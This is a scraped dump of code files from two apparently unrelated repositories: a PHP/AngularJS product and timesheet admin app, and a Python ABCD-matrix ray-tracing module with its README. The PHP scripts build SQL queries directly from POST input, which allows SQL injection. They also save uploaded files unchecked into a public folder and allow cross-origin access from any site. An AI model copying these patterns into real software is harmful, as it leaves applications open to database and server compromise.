JsonModel(array( 'success' => true , 'products' => $a, )); } /** * @SWG\Post( * path="/api/products/add", * description="create product", * tags={"products"}, * @SWG\Parameter( * name="file", * in="formData", * description="image upload", * required=false, * type="file" * ), * @SWG\Parameter( * name="id", * in="formData", * description="provide product id if you want to update", * required=false, * type="integer" * ), * @SWG\Parameter( * name="name", * in="formData", * description="product name", * required=true, * type="string" * ), * @SWG\Parameter( * name="category", * in="formData", * description="category name", * required=true, * type="string" * ), * @SWG\Parameter( * name="brand", * in="formData", * description="brand name", * required=true, * type="string" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function addAction() { $parameter = $this->getParameter($this->params()->fromPost()); //var_dump($parameter); exit; $image = ''; $File = $this->params()->fromFiles('file'); // if product id is not there then add else update if (!isset($parameter['id'])) { if ($File) { $image = $this->upload(); } date_default_timezone_set("Asia/Kolkata"); $data = array( 'name' => $parameter['name'], 'brand' => $parameter['brand'], 'category' => $parameter['category'], 'thumb' => $image, //'created_at' => new Zend\Db\Sql\Expression("NOW()"), //'updated_at' => new Zend\Db\Sql\Expression("NOW()"), "created_at" => date('Y-m-d H:i:s'), 'flag' => '0' ); $Dt = $this->getProductTable()->saveProduct($data); return new JsonModel(array( 'success' => true, 'product' => $Dt )); } else { // product id is there so update if ($File) { $image = $this->upload(); $data = array( 'id' => $parameter['id'], 'name' => $parameter['name'], 'brand' => $parameter['brand'], 'category' => $parameter['category'], 'thumb' => $image, ); } else { $data = array( 'id' => $parameter['id'], 'name' => $parameter['name'], 'brand' => $parameter['brand'], 'category' => $parameter['category'], ); } $Dt = $this->getProductTable()->saveProduct($data); return new JsonModel(array( 'success' => true, 'product' => $Dt )); } } /** * @SWG\Get( * path="/api/products/getSpecificProduct/{id}", * description="product details", * tags={"products"}, * @SWG\Parameter( * name="id", * in="path", * description="product id", * required=true, * type="integer" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function getSpecificProductAction() { $prdId = $this->params()->fromRoute('id'); // $prdId = $parameter['id'] ; if ($prdId) { try { $prd = $this->getProductTable()->getProduct($prdId); } catch (\Exception $ex) { return new JsonModel(array( 'success' => false, 'msg' => 'data with given id is not present in db !' )); } return new JsonModel(array( 'success' => true, 'product' => $prd )); } else { return new JsonModel(array( 'success' => false, 'msg' => 'there is no data with id 0 !' )); } } /* merge in addAction by checking id public function updateAction() { $parameter = $this->getParameter($this->params()->fromPost()); $image = '' ; $File = $this->params()->fromFiles('file') ; if ($File) { $image = $this->upload(); $data = array( 'id' => $parameter['id'], 'name' => $parameter['name'], 'brand' => $parameter['brand'], 'category' => $parameter['category'], 'thumb' => $image, ); } else { $data = array( 'id' => $parameter['id'], 'name' => $parameter['name'], 'brand' => $parameter['brand'], 'category' => $parameter['category'], ); } $this->getProductTable()->saveProduct($data); return new JsonModel(array( 'success' => true )); } */ /** * @SWG\Post( * path="/api/products/delete", * description="delete brand", * tags={"products"}, * @SWG\Parameter( * name="id", * in="formData", * description="product id", * required=true, * type="integer" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function deleteAction() { $parameter = $this->getParameter($this->params()->fromPost()); $product_id = $parameter['id'] ; $msg = $this->getProductTable()->deleteProduct($product_id); if ($msg) { return new JsonModel(array( 'success' => true, 'msg' => 'deleted successfully ' )); } else { return new JsonModel(array( 'success' => false, 'msg' => 'unable to delete ' )); } } public function getParameter($params) { $parameter = array(); foreach ($params as $key => $value) { if ($value) { $parameter[$key] = $value; } } return $parameter; } public function upload() { $file = $this->params()->fromFiles('file'); /* now not working (2016-07-29) $adapter = new \Zend\File\Transfer\Adapter\Http(); $adapter->setDestination(PUBLIC_PATH.'/uploads/products'); // var_dump(boolval($adapter->receive($file['name']))); exit ;//false $adapter->receive($file['name']); */ $uploadDir = PUBLIC_PATH.'/uploads/products/' ; $uploadfile = $uploadDir . basename($file['name']); move_uploaded_file($file['tmp_name'], $uploadfile) ; return $file['name'] ; } } <file_sep>/public/app/js/modules/admin/controllers/categoryController.js /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ define(['./../module'], function (module) { module.registerController('categoryController', ['$scope', '$state', '$stateParams', 'categoryDataService', 'CONFIG', '$uibModal', function ($scope, $state, $stateParams, categoryDataService, CONFIG, $uibModal) { var vm = this; vm.ImagePath = CONFIG.ImageBasePath; categoryDataService.getCategoryList() .then(function (response) { // console.log(response.success); if (response.success) { console.log('categories:',response.categories); vm.categories = response.categories; } else { console.log('success:false'); } }); /* $scope.addEditCategory = function(categoryId){ var category_id = categoryId || ''; // if categoryId !== 0 then product_id = productId else empty alert(category_id) ; // $state.go('app.categoryAddEdit', {category_id : category_id}); }; */ $scope.addEditCategory = function (category_id ) { var category_Id = category_id || 0 ; //console.log(category_Id); var modalInstance = $uibModal.open({ animation: $scope.animationsEnabled, templateUrl: './js/modules/admin/views/category-add-edit-modal.html', controller: 'categoryAddEditModalController', controllerAs: 'categoryAddEdit', size: 'lg', backdrop: 'static', resolve: { categoryId: function () { return category_Id; } } }); modalInstance.result.finally(function () { $state.reload(); }); }; $scope.deleteCategory = function () { var category_id = vm.id || ''; if (!category_id) { alert('Please select the category !'); return; } var r = confirm("Are you sure, want to delete ?"); if (r === true) { categoryDataService.deleteCategory({id: category_id}) .then(function (response) { if (response.success) { $state.reload(); } else { alert('some error occur while deleting.. '); } }); } }; }]); }); <file_sep>/public/app/js/modules/admin/module.js define(['angular', 'angular-couch-potato', 'angular-bootstrap', 'angular-ui-router'], function (ng, couchPotato) { "use strict"; var module = ng.module('app.admin', ['ui.router', 'ui.bootstrap']); couchPotato.configureApp(module); module.config(['$stateProvider', '$couchPotatoProvider', '$urlRouterProvider', function ($stateProvider, $couchPotatoProvider, $urlRouterProvider) { $stateProvider .state('app.admin', { url: '/products', templateUrl: './js/modules/admin/views/product.html', controller: 'productController', controllerAs:'product', resolve: { deps: $couchPotatoProvider.resolveDependencies([ './js/modules/admin/services/productDataService' , './js/modules/admin/controllers/productController' ]) } }) .state('app.productAddEdit',{ url: '/products/add-edit/{product_id}', templateUrl : './js/modules/admin/views/product-add-edit.html', controller : 'productAddEditController', controllerAs :'prdUpdate' , params: { }, resolve : { deps : $couchPotatoProvider.resolveDependencies([ './js/modules/admin/services/productDataService', './js/modules/layout/directives/fileModel', './js/modules/admin/services/categoryDataService', './js/modules/admin/services/brandDataService', './js/modules/admin/controllers/productAddEditController' ]) } }) .state('app.category', { url: '/categories', templateUrl: './js/modules/admin/views/category.html', controller: 'categoryController', controllerAs:'category', resolve: { deps: $couchPotatoProvider.resolveDependencies([ './js/modules/admin/services/categoryDataService' , './js/modules/layout/directives/fileModel', './js/modules/admin/controllers/categoryController', './js/modules/admin/controllers/categoryAddEditModalController' ]) } }) .state('app.brand', { url: '/brands', templateUrl: './js/modules/admin/views/brand.html', controller: 'brandController', controllerAs:'brand', resolve: { deps: $couchPotatoProvider.resolveDependencies([ './js/modules/admin/services/brandDataService' , './js/modules/layout/directives/fileModel', './js/modules/admin/controllers/brandController', './js/modules/admin/controllers/brandAddEditModalController' ]) } }); }]); module.run(function ($couchPotato) { module.lazy = $couchPotato; }); //console.log('1234'); return module; }); <file_sep>/public/appWebixWidgets/dbData.php <?php header("Access-Control-Allow-Origin: *"); header("Content-Type: application/json; charset=UTF-8"); $servername = "localhost"; $username = "root"; $password = "<PASSWORD>"; $dbname = "db02"; // Create connection $conn = mysqli_connect($servername, $username, $password, $dbname); // Check connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } $sql = "SELECT * FROM webixTable ORDER BY id DESC"; $result = $conn->query($sql); $outp = array(); while($rs = $result->fetch_assoc()) { //$var = array(); $outp[] = $rs ; } $conn->close(); $data = json_encode($outp); echo $data ; <file_sep>/public/app/js/includes.js define([ './config', './modules/layout/module', './modules/layout/directives/ui', './modules/authors/module', './modules/posts/module' , './modules/admin/module' ], function () { 'use strict'; }); <file_sep>/public/app/js/modules/authors/module.js define(['angular', 'angular-couch-potato', 'angular-bootstrap', 'angular-ui-router'], function (ng, couchPotato) { "use strict"; var module = ng.module('app.authors', ['ui.router', 'ui.bootstrap']); couchPotato.configureApp(module); module.config(['$stateProvider', '$couchPotatoProvider', '$urlRouterProvider', function ($stateProvider, $couchPotatoProvider, $urlRouterProvider) { $stateProvider .state('app.authors', { // Authors state. This state will contain multiple views url: '/authors', views: { // Main template. It will be placed in the ui-view of the index.html file when /authors url is visited (relatively named) '': {templateUrl: './js/modules/authors/page-authors.html'}, // popular child view. Absolutely named. It will be injected in the popular ui-view of authors state '<EMAIL>': { templateUrl: './js/modules/authors/view-popular-authors.html', controller: ['$scope', function ($scope) { $scope.authors = [ {name: 'John', surname: 'Benneth'}, {name: 'Anthony', surname: 'Horner'}, {name: 'James', surname: 'Blanch'}, {name: 'Harrison', surname: 'Williams'} ]; }] }, // recent child view. Absolutely named. It will be injected in the recent ui-view of authors state '<EMAIL>': {template: 'No recent authors since last month'} } }); }]); module.run(function ($couchPotato) { module.lazy = $couchPotato; }); //console.log("layout", module); return module; }); <file_sep>/public/appWebixWidgets/table5b.js var self = this; self.submitData = function () { var values = $$("addf").getValues(); // console.log(values); var last_id = 0 ; if (!values.employee) { alert("Employee fied can't be empty !"); return; } webix.ajax().post("dbDataAddUpdate.php", values, function (text, data) { console.log(data.json()); var resp = data.json(); // local var or access last_id = resp.id; // global aceess // console.log(last_id); values.id = last_id; console.log(2, values); $$('myTbl').add(values,0); }); $$('aWin').close(); $$('mybar').enable(); // enabling mybar after submitting the form $$('pagerA').enable(); // enabling pagination submitting the form // dtable.clearAll() // dtable.load("dbData.php"); //window.location.reload(); // $$('myTbl').refresh(); }; self.addData = function () { //alert("Add !"); $$("mybar").disable(); // disable mybar when add-window is open $$("pagerA").disable(); // disable pagination submitting the form webix.ui({ view: "window", id: "aWin", height: 550, width: 1100, left: 100, top: 50, head: { view: "toolbar", cols: [ {view: "label", label: "New entry", css: "text_heading"}, {view: "button", label: 'X', width: 100, align: 'right', click: "$$('aWin').close(); $$('mybar').enable(); $$('pagerA').enable(); ", css: "button_primary button_raised " } ] } , body: { view: "form", id: "addf", elements: [ {view: "datepicker", label: "Date", editor:"text", format: "%Y-%m-%d", name: "date"}, {view: "select", label: "Employee", editor:"select", options:["Test","<NAME>", "Sunil","Chandu","Prashant","Test1","Test2"],name: "employee"}, {view: "select", label: "Project", editor:"select", options:["Test","CKD","Tigersheet","HCL PS","HCL FS","Non-project","captivatour","Self-project","maintenance","Unlisted"], name: "project"}, {view: "text", label: "Task", editor:"text", name: "task"}, {view: "text", label: "Activity", editor:"text", name: "activity"}, {view: "text", label: "Hours", editor:"text", name: "hr"}, {margin: 10, cols: [ {}, {view: "button", label: "Save", type: "form", width: 100, algin: "right", on: { 'onItemClick': self.submitData } }, {view: "button", label: "Cancel", width: 100, algin: "right", click: "$$('aWin').close(); $$('mybar').enable(); $$('pagerA').enable();"} ]}, {} ] } }).show(); }; self.updateData = function () { var values = $$("editf").getValues(); // console.log(values); webix.ajax().post("dbDataAddUpdate.php", values); $$('eWin').close(); $$('mybar').enable(); // enabling mybar after submitting the form $$('pagerA').enable(); // enabling pagination submitting the form //window.location.reload(); // update the table row directly from form data .. instead of realoding the table var sel = $$('myTbl').getSelectedId(); //var row = $$('myTbl').getItem(sel.row); //console.log(sel); values.updated_at = self.updatedDate(); console.log(values); $$('myTbl').updateItem(sel.row, values); }; self.editData = function () { var sel = $$('myTbl').getSelectedId(); // console.log(sel); if (!sel) { webix.message({ type: "error", text : "please select a row !", expire : 2000 }); return; } $$("mybar").disable(); // disable mybar when edit-window is open $$("pagerA").disable(); // disable pagination when edit-window is open webix.ui({ view: "window", id: "eWin", height: 550, width: 1100, left: 100, top: 50, head: { view: "toolbar", cols: [ {view: "label", label: "Update", css: "text_heading"}, {view: "button", label: 'X', width: 100, align: 'right', click: "$$('eWin').close(); $$('mybar').enable(); $$('pagerA').enable();", css: "button_primary button_raised " } ] } , body: { view: "form", id : "editf", elements : [ {view:"text", label:"Id", name:"id", placeholder: "readonly data",readonly:true }, {view: "datepicker", format: "%Y-%m-%d",label: "Date", name: "date"}, {view: "select", label: "Employee", editor:"select", options:["Test","<NAME>", "Sunil","Chandu","Prashant","Test1","Test2"], name: "employee"}, {view: "select", label: "Project", editor:"select", options:["Test","CKD","Tigersheet","HCL PS","HCL FS","Non-project","captivatour","Self-project","maintenance","Unlisted"], name: "project"}, {view: "text", label: "Task", name: "task"}, {view: "text", label: "Activity", name: "activity"}, {view: "text", label: "Hours", name: "hr"}, {margin: 10, cols: [ {}, {view: "button", label: "Update", type: "form", width: 100, algin: "right", on: { 'onItemClick': self.updateData } }, {view: "button", label: "Cancel", width: 100, algin: "right", click: "$$('eWin').close(); $$('mybar').enable(); $$('pagerA').enable();"} ]}, {} ] } }).show(); // console.log(123); $$("editf").bind("myTbl"); }; dtable = new webix.ui({ rows: [ { view: "toolbar", // height: 70, css: "right_align", id: "mybar", elements : [ {view: "button", value: "Add", id: "add", width: 70 , css: "button_primary button_raised ", on : { 'onItemClick': self.addData } }, {view: "button", value: "Edit", id: "edit", width: 70 , css: "button_primary button_raised ", on : { 'onItemClick': self.editData } } ] }, { cols: [ { width: 250, minWidth: 100, maxWidth: 350, // template:"col 1" rows: [ { view: "template", type: "header", css: {"text-align": "center", "color": "coral", "background-color": "#112233"}, template: "<h3> Sidebar !! </h3>" }, { height: 50, view: "template", css: {"background-color": "#112233", "color": "white"}, template: "navbar-1 " }, { height: 50, view: "template", css: {"background-color": "#112233", "color": "white"}, template: "navbar-2 " }, { // height : 50, view: "template", css: {"background-color": "#112233", "color": "white"}, template: "navbar-3 " } ] }, {view: "resizer"}, { rows: [ { view: "template", type: "header", css: {"text-align": "center", "color": "coral"}, template: "<h3> Webix-Table !! </h3>" }, { view: "datatable", select: "row", multiselect: true, id : "myTbl", css: "my_style", // css class will be applied to the whole table height: 400 , columns: [ {id:"chk", header:"Checkbox", template:"{common.checkbox()}", editor:"checkbox", adjust:true }, {id:"id",header:"#", sort: "int", adjust:true}, {id: "date", header: "Date", width: 120, editor: "text", sort: "string"}, {id: "employee", header: "Employee", width:150, sort: "string"}, {id: "project", header: "Project", adjust:true, sort: "string"}, {id: "task", header: "Task", adjust:true, sort: "string"}, {id: "activity", header: "Activity", adjust:true, sort: "string"}, {id: "hr", header: "Hour", width: 100, sort: "int"}, {id: "week_no", header: "Week no.", width: 100, sort: "int"}, {id: "created_at", header: "Created on", adjust:true, sort: "string"}, {id: "updated_at", header: "Updated on", adjust:true, sort: "string"} ], resizeColumn:true, resizeRow:true, pager:"pagerA", checkboxRefresh:true, // data : webix.ajax().get("dbData.php") url : "dbData.php" }, { view:"pager", id:"pagerA", //animate:true, size:8, group:5 }, { } ] } ] } ] }); self.addZero = function (i) { if (i < 10) { i = "0" + i; } return i; }; self.updatedDate = function () { var d = new Date(); var Y = d.getFullYear(); var M = self.addZero(d.getMonth()+1); var D = self.addZero(d.getDate()); var h = self.addZero(d.getHours()); var m = self.addZero(d.getMinutes()); var s = self.addZero(d.getSeconds()); var date = Y + "-" + M + "-" + D + " " + h + ":" + m + ":" + s; return date ; }; self.week_no = function () { var d = new Date(); };<file_sep>/module/Api/config/module.config.php <?php return array( 'controllers' => array( 'invokables' => array( 'Api\Controller\Product' => 'Api\Controller\ProductController', 'Api\Controller\Category' => 'Api\Controller\CategoryController', 'Api\Controller\Brand' => 'Api\Controller\BrandController', 'Api\Controller\Authentication' => 'Api\Controller\AuthenticationController', 'Api\Controller\Test' => 'Api\Controller\TestController' ), ), 'router' => array( 'routes' => array( 'produdts-details' => array( 'type' => 'Segment', 'options' => array( 'route'=> '/api/products[/:action][/:id]', 'constraints' => array( 'action' => '[a-zA-Z][a-zA-Z0-9_-]*', 'id' => '[0-9]+' ), 'defaults' => array( 'controller' => 'Api\Controller\Product', 'action' => 'index', ), ), ), 'category-details' => array( 'type' => 'Segment', 'options' => array( 'route'=> '/api/category[/:action][/:id]', 'constraints' => array( 'action' => '[a-zA-Z][a-zA-Z0-9_-]*', 'id' => '[0-9]+' ), 'defaults' => array( 'controller' => 'Api\Controller\Category', ), ), ), 'brand-details' => array( 'type' => 'Segment', 'options' => array( 'route'=> '/api/brand[/:action][/:id]', 'constraints' => array( 'action' => '[a-zA-Z][a-zA-Z0-9_-]*', 'id' => '[0-9]+' ), 'defaults' => array( 'controller' => 'Api\Controller\Brand', ), ), ), 'api-auth-rest' => array( 'type' => 'Segment', 'options' => array( 'route'=> '/api/auth[/:action]', 'constraints' => array( 'action' => '[a-zA-Z][a-zA-Z0-9_-]*', ), 'defaults' => array( 'controller' => 'Api\Controller\Authentication', 'action' => 'index' , ), ), ), 'api-test' => array( 'type' => 'Segment', 'options' => array( 'route'=> '/api/test[/:action]', 'constraints' => array( 'action' => '[a-zA-Z][a-zA-Z0-9_-]*', ), 'defaults' => array( 'controller' => 'Api\Controller\Test', 'action' => 'index', ), ), ), ), ), 'view_manager' => array( 'template_path_stack' => array( 'product' => __DIR__ . '/../view', ), // for JSON file return 'strategies' => array( 'ViewJsonStrategy', ), ), ); <file_sep>/public/appWebixWidgets/dbDataAddUpdate.php <?php header("Access-Control-Allow-Origin: *"); header("Content-Type: application/json; charset=UTF-8"); $params = $_POST ; $id = isset($params['id']) ? $params['id'] : 0 ; $date = $params['date']; $employee = $params['employee']; $project = $params['project']; $task = $params['task'] ; $activity = $params['activity'] ; $hr = $params['hr'] ; $dt = new DateTime($params['date']); $week_no = $dt->format("W"); date_default_timezone_set("Asia/Kolkata"); $created_at = date("Y-m-d H:i:s"); //var_dump($params,$week_no,$created_at); exit; // Create connection $servername = "localhost"; $username = "root"; $password = "<PASSWORD>"; $dbname = "db02"; $conn = mysqli_connect($servername, $username, $password, $dbname); // Check connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } if (!$id) { $sql = "INSERT INTO webixTable (date, employee, project, task, activity, hr, week_no, created_at) VALUES ('$date', '$employee', '$project', '$task', '$activity', '$hr', '$week_no', '$created_at')"; if ($conn->query($sql) === TRUE) { $last_id = $conn->insert_id; // get last inserted row $sql = "SELECT * FROM webixTable WHERE id='$last_id'"; $result = $conn->query($sql); $outp = array(); while ($rs = $result->fetch_assoc()) { //$var = array(); $outp[] = $rs; } $data = array( "success" => true, "msg" => "New record created successfully", "id" => $last_id, "insData" => $outp ); $jdata = json_encode($data); echo $jdata; } else { //echo "Error: " . $sql . "<br>" . $conn->error; $erdata = array( "success" => false, "msg" => "Error: " . $sql . "<br>" . $conn->error, ); $jdata = json_encode($erdata); echo $jdata ; } } else { $sql = "UPDATE webixTable SET date='$date', project='$project', task='$task', activity='$activity', hr='$hr', week_no='$week_no' WHERE id='$id'"; $last_id = $id; if ($conn->query($sql) === TRUE) { // get updated row $sql = "SELECT * FROM webixTable WHERE id='$last_id'"; $result = $conn->query($sql); $outp = array(); while ($rs = $result->fetch_assoc()) { $outp[] = $rs; } $data = array( "success" => true, "msg" => " Data updated successfully", "id" => $last_id, "insData" => $outp ); $jdata = json_encode($data); echo $jdata; } else { //echo "Error: " . $sql . "<br>" . $conn->error; $erdata = array( "success" => false, "msg" => "Error: " . $sql . "<br>" . $conn->error, ); $jdata = json_encode($erdata); echo $jdata ; } } function getLastInsetedRow($Id) { } $conn->close(); <file_sep>/module/Api/src/Api/Controller/TestController.php <?php namespace Api\Controller; use Zend\Mvc\Controller\AbstractActionController; use Zend\View\Model\JsonModel; class TestController extends AbstractActionController { /** * @SWG\Post( * path="/api/test", * description="login details", * tags={"test"}, * * @SWG\Response( * response=200, * description="response" * ) * ) */ public function indexAction() { return new JsonModel(array( 'success' => true , 'msg' => "test - controller index action", )) ; } /** * @SWG\Post( * path="/api/test/me", * description="test-details", * tags={"test"}, * @SWG\Parameter( * name="username", * in="formData", * description="username", * required=true, * type="string" * ), * @SWG\Parameter( * name="password", * in="formData", * description="password", * required=true, * type="string" * ), * @SWG\Response( * response=200, * description="response" * ) * ) */ public function meAction() { $data = $this->params()->fromPost(); return new JsonModel(array( 'success' => true , 'data' => $data , 'msg' => " test - controller action", )) ; } } <file_sep>/public/appWebixWidgets/table1.js dtable = new webix.ui({ view: "datatable", select: "row", columns: [ // for first column custom-sort is textLength {id: "title", header: "Film Title", fillspace: true, sort: textLength, editor:"text" }, {id: "year", header: "Year", width: 100, sort: "int"}, {id: "category", header: "Category", width: 100, sort: "string"}, {id: "votes", header: "Votes", width: 100, sort: "int"} ], editable:true, data: [ {id: 1, title: "The Shawshank Redemption", year: 1994, votes: 678790, category: "Thriller"}, {id: 2, title: "The Godfather", year: 1972, votes: 511495, category: "Crime"}, {id: 3, title: "The Godfather: Part II", year: 1974, votes: 319352, category: "Crime"}, {id: 4, title: "Pulp fiction", year: 1994, votes: 533848, category: "Crime"} ] }); function textLength(a, b) { a = a.title.toString().length; b = b.title.toString().length; return a > b ? 1 : (a < b ? -1 : 0); } ;
f45d216fc0d7b3ce49b97f38443464330fc7eba1
[ "JavaScript", "PHP" ]
28
JavaScript
Sunil2011/samples
311964e5bfe930d5e6550e836b17bfb0c3b94b55
2ca2b2a7f34bf9284d8a1f10ee09b8a9a68d1420
refs/heads/master
<repo_name>alfarjoy/Exercise3<file_sep>/Exercise3/Models/Student.cs using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace Exercise3.Models { public class Student { [Key] public int StudentId { get; set; } [Required(ErrorMessage = "Name is Required")] public string Name { get; set; } [Required, Range(16, 99)] public int Age { get; set; } [Required(ErrorMessage = "Address is required"), StringLength(200)] public string Address { get; set; } } }<file_sep>/Exercise3/Models/EnrollmentDBContext.cs using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace Exercise3.Models { public class EnrollmentDBContext : DbContext { public EnrollmentDBContext(DbContextOptions options) : base(options) { } protected EnrollmentDBContext() { } public DbSet<Student> Students { get; set; } } }<file_sep>/Exercise3/Pages/Edit.cshtml.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Exercise3.Models; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.RazorPages; namespace Exercise3.Pages { public class EditModel : PageModel { public EditModel(EnrollmentDBContext enrollmentdbcontext) { _enrollmentdbcontext = enrollmentdbcontext; } private readonly EnrollmentDBContext _enrollmentdbcontext; [BindProperty] public Student Student { get; set; } public void OnGet(int id) { Student = _enrollmentdbcontext.Students. FirstOrDefault(students => students.StudentId == id); } public ActionResult OnPost() { if (!ModelState.IsValid) { return Page(); } Student stud = new Student(); stud = _enrollmentdbcontext.Students.FirstOrDefault(student => student.StudentId == Student.StudentId); if (stud != null) { stud.Name = Student.Name; stud.Age = Student.Age; stud.Address = Student.Address; _enrollmentdbcontext.Update(stud); _enrollmentdbcontext.SaveChanges(); } return Redirect("Student"); } } }
e0429deac07a7ed59425e82f0c04fd37c8735109
[ "C#" ]
3
C#
alfarjoy/Exercise3
c92dcdc501a59b7f841de81410f6f1409366c681
89f8f20a2fa56febb014adfa57b55732698df015
refs/heads/master
<repo_name>D-fallen-one/angular_june<file_sep>/src/app/signup/signup.component.ts import {Component, EventEmitter, OnInit, Output} from '@angular/core'; @Component({ selector: 'app-signup', templateUrl: './signup.component.html', styles: [] }) export class SignupComponent implements OnInit { constructor() { } ngOnInit() { } signup() { console.log("signup form submitted"); } goToLogin() { } } <file_sep>/src/app/app.module.ts import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; import {ImgCaptionComponent} from './img-caption/img-caption.component'; import { LoginComponent } from './login/login.component'; import { FiveStartComponent } from './five-start/five-start.component'; import { StarComponent } from './star/star.component'; import {BrowserAnimationsModule} from '@angular/platform-browser/animations'; import {MatButtonModule, MatCardModule, MatInputModule} from '@angular/material'; import { SignupComponent } from './signup/signup.component'; import {RouterModule} from '@angular/router'; import { NotFoundComponent } from './not-found/not-found.component'; import {myRoutes} from './routes'; import { HeaderComponent } from './header/header.component'; import { FooterComponent } from './footer/footer.component'; @NgModule({ declarations: [ AppComponent, ImgCaptionComponent, LoginComponent, FiveStartComponent, StarComponent, SignupComponent, NotFoundComponent, HeaderComponent, FooterComponent ], imports: [ BrowserModule, BrowserAnimationsModule, RouterModule.forRoot(myRoutes), MatButtonModule, MatCardModule, MatInputModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } <file_sep>/src/app/routes.ts import {Routes} from '@angular/router'; import {SignupComponent} from './signup/signup.component'; import {LoginComponent} from './login/login.component'; import {NotFoundComponent} from './not-found/not-found.component'; export const myRoutes: Routes = [ { path: 'hello', // codekamp.in/hello, codekamp.in/hello/* redirectTo: 'login', pathMatch: 'full' }, { path: 'signup', component: SignupComponent }, { path: 'login', component: LoginComponent }, { path: '**', component: NotFoundComponent } ];
003149d0fae36e4a715583c0e901aef80fd5021b
[ "TypeScript" ]
3
TypeScript
D-fallen-one/angular_june
53c4a34a632d6f6e222ebdc903dd2e47741b6b41
96535c787e54ddcefe28fa37147a9c105a6d30ff
refs/heads/master
<file_sep># RayTracing This code aims to provide a simple ray tracing module for calculating various properties of optical paths (object, image, aperture stops, field stops). It makes use of ABCD matrices and does not consider aberrations (spherical or chromatic). It is not a package to do "Rendering in 3D with raytracing". The code has been developed first for teaching purposes and is used in my "[Optique](https://itunes.apple.com/ca/book/optique/id949326768?mt=11)" Study Notes (french only), but also for actual use in my research. I have made no attempts at making high performance code. Readability and simplicity of usage is the key here. It is a single file with only `matplotlib` as a dependent module. The module defines `Ray` , `Matrix` and `OpticalPath` as the main elements. An optical path is a sequence of matrices into which rays will propagate. Specific subclasses of `Matrix` exists: `Space`, `Lens` and `Aperture`. Finally, a ray fan is a collection of rays, originating from a given point with a range of angles. ## Getting started You need `matplotlib`, which is a fairly standard Python module. If you do not have it, installing [Anaconda](https://www.anaconda.com/download/) is your best option. You should choose Python 3.7 or later. You create an OpticalPath, which you then populate with optical elements such as Space, Lens or Aperture. You can then adjust the optical path properties (object height for instance) and display in matplotlib. This will show you a few examples of things you can do: ```shell python ABCD.py python demo.py ``` In your code, (such as the `test.py` or `demo.py` files), you would do this: ```python from ABCD import * path = OpticalPath() path.append(Space(d=10)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=12)) path.append(Lens(f=7)) path.append(Space(d=10)) path.display() ``` You may obtain help by typing (interactively): `help(Matrix)`, `help(Ray)`,`help(OpticalPath)` ``` python >>> help(Matrix) Help on class Matrix in module ABCD: class Matrix(builtins.object) | A matrix and an optical element that can transform a ray or another matrix. | | The general properties (A,B,C,D) are defined here. The operator "*" is | overloaded to allow simple statements such as: | | M2 = M1 * ray | or | M3 = M2 * M1 | | In addition apertures are considered and the physical length is | included to allow simple management of the ray tracing. | | Methods defined here: | | __init__(self, A, B, C, D, physicalLength=0, apertureDiameter=inf, label='') | Initialize self. See help(type(self)) for accurate signature. | | __mul__(self, rightSide) | Operator overloading allowing easy to read matrix multiplication | | For instance, with M1 = Matrix() and M2= Matrix(), one can write M3 = M1*M2. | With r = Ray(), one can apply the M1 transform to a ray with r = M1*r | | __str__(self) | String description that allows the use of print(Matrix()) | | displayHalfHeight(self) | A reasonable height for display purposes for an element, whether it is infinite or ``` ## Examples ![Figure1](assets/Figure1.png) ![Illumination](assets/Illumination.png) ![Microscope](assets/Microscope.png) ## Licence This code is provided under the [MIT License](./LICENSE).<file_sep>from ABCD import * path = OpticalPath() path.name = "<NAME>" path.objectHeight = 1.0 path.fanAngle = 0.5 path.rayNumber = 3 path.append(Space(d=4)) path.append(Lens(f=4,diameter=2.5)) path.append(Space(d=4+25)) path.append(Lens(f=25, diameter=7.5)) path.append(Space(d=20)) path.append(Space(d=5)) path.append(Space(d=9)) path.append(Lens(f=9, diameter=8)) path.append(Space(d=9)) print(path.fieldStop()) print(path.fieldOfView()) path.display(onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) path.save("Illumination.png",onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) <file_sep>from ABCD import * path = OpticalPath() path.name = "Object at 2f, image at 2f" path.append(Space(d=10)) path.append(Lens(f=5)) path.append(Space(d=10)) path.display() #path.save('Figure1.png') path = OpticalPath() path.name = "Object at 4f, image at 4f/3" path.append(Space(d=20)) path.append(Lens(f=5)) path.append(Space(d=10)) path.display() #path.save('Figure2.png') path = OpticalPath() path.name = "4f system" path.append(Space(d=5)) path.append(Lens(f=5)) path.append(Space(d=10)) path.append(Lens(f=5)) path.append(Space(d=5)) path.display() #path.save('Figure3.png') path = OpticalPath() path.fanAngle = 0.1 path.append(Space(d=40)) path.append(Lens(f=-10, label='Div')) path.append(Space(d=4)) path.append(Lens(f=5, label='Foc')) path.append(Space(d=18)) focal = -1.0/path.transferMatrix().C path.name = "Retrofocus system with f={0:.2f} cm".format(focal) path.display() path = OpticalPath() path.name = "Microscope system" path.objectHeight = 0.1 path.append(Space(d=1)) path.append(Lens(f=1, diameter=0.8, label='Obj')) path.append(Space(d=19)) path.append(Lens(f=18,diameter=5.0, label='Tube Lens')) path.append(Space(d=18)) path.append(Aperture(diameter=2)) path.display(onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) (r1, r2) = path.marginalRays(y=0) print(r1, r2) <file_sep>import matplotlib.pyplot as plt import matplotlib.patches as patches import sys if sys.version_info[0] < 3: print("Warning: you should really be using Python 3." "No guarantee this will work in 2.x") """A simple module for ray tracing with ABCD matrices. https://github.com/DCC-Lab/RayTracing Create an OpticalPath(), append matrices (optical elements). and then display(). This helps determine of course simple things like focal distance of compound systems, object-image, etc... but also the aperture stop, field stop, field of view and any clipping issues that may occur. When displaying the result, the objectHeight, fanAngle, and fanNumber are used if the field of view is not defined. You may adjust the values to suit your needs 